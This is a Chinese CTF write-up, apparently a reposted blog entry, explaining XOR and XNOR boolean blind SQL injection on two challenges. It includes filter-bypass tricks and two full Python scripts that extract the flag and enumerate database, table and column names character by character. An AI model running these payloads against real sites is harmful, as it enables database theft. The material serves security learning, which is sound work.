2025年sql异同或注入总结

sql异同或注入总结提示 文章写完后 目录可以自动生成 如何生成可参考右边的帮助文档 前言 提示 这里可以添加本文要记录的大概内容 最近做题的时候 遇到了两道异或以及同或的题目 一起做个总结 提示 以下是本篇文章正文内容 下面案例可供参考 一

大家好,我是讯享网,很高兴认识大家。

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


前言

提示:这里可以添加本文要记录的大概内容:

最近做题的时候,遇到了两道异或以及同或的题目,一起做个总结。


提示:以下是本篇文章正文内容,下面案例可供参考

一、异或和同或

异或就是相同为0,不同为1,当一个数进行了两次相同的异或,等于本身,在mysql中符号为^

同或就是相同为1,不同为0,在mysql中符号为!=!


讯享网

二、[CISCN 2019华北Day2]Web1 Hack World

进入题目:题目直接给了提示,给出了flag的位置,随便输东西,发现只能输bool型的,输0会出现Error,输1会出现Hello, glzjin wants a girlfriend,输2出现Do you want to be my girlfriend。

 尝试下,发现过滤了挺多东西的,过滤了#、--、空格、//、or、and等。过滤了空格和//可以通过()包括绕过,过滤了注释符,意味着报错,联合注入都不好使,显然是布尔注入,发现可以进行异或或者同或注入。

同或一样可以。id=1!=!0会回显Error、id=1!=!1会回显Hello, glzjin wants a girlfriend。

 直接上脚本:

import time import requests url = 'http://1.14.71.254:28942/index.php' flag = '' for i in range(1, 100): min = 1 max = 130 mid = int((min + max) / 2) while min < max: data = { #"id": f'0^if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,0)' 异或 "id": f"1!=!(if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,0))" #同或 } resp = requests.post(url, data=data) time.sleep(0.5) if 'Hello' in resp.text: min = mid + 1 mid = int((min + max) / 2) else: max = mid mid = int((min + max) / 2) flag += chr(mid) print(flag)

讯享网

 

三、 [NSSCTF 2022 Spring Recruit]babysql

进入题目:提示输入tarnish,输入以后出现String(39)前有flag句,同样尝试tarnish'出现回显走进死胡同,输入#、--出现了过滤的字符。

过滤了/、if、and、空格、#、--字符,又是过滤了注释符,过滤了空格可以使用//绕过,这里只能往闭合注入想,首先想到能不能进行异或注入,尝试了一下,怎么都是死胡同,往同或方向靠,结果是可以。

 

讯享网import requests asc_str = '0abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!{}' url = "http://1.14.71.254:28589" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/ Firefox/103.0", } result = '' for times in range(1, 88): min = 0 max = 128 mid = (min + max) // 2 while min < max: # payload = f"tarnish'//!=!//(ascii(substr((select//database()),{times},1))>{mid})//!=!//'0" #test # payload = f"tarnish'//!=!//(ascii(substr((select//group_concat(table_name)//from//information_schema.tables//where//table_schema=database()),{times},1))>{mid})//!=!//'0" #flag,users # payload = f"tarnish'//!=!//(ascii(substr((select//group_concat(column_name)//from//information_schema.columns//where//table_name='flag'),{times},1))>{mid})//!=!//'0" #flag payload = f"tarnish'//!=!//(ascii(substr((select//group_concat(flag)//from//test.flag),{times},1))>{mid})//!=!//'0" data = {"username": payload} resp = requests.post(url, headers=headers, data=data) if 'string(25)' in resp.text: min = mid + 1 else: max = mid mid = (min + max) // 2 result += chr(min) print(result) 

 

这里有个坑,flag前面有些字符没法显现,搞的我以为脚本错了... 


总结

异或和同或注入都归于布尔注入的类型,通过两道题大致可以看出,当过滤了注释符难以使用其它注入时,可以考虑往这方面想。

小讯
上一篇 2025-03-01 13:15
下一篇 2025-03-25 15:49

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/15392.html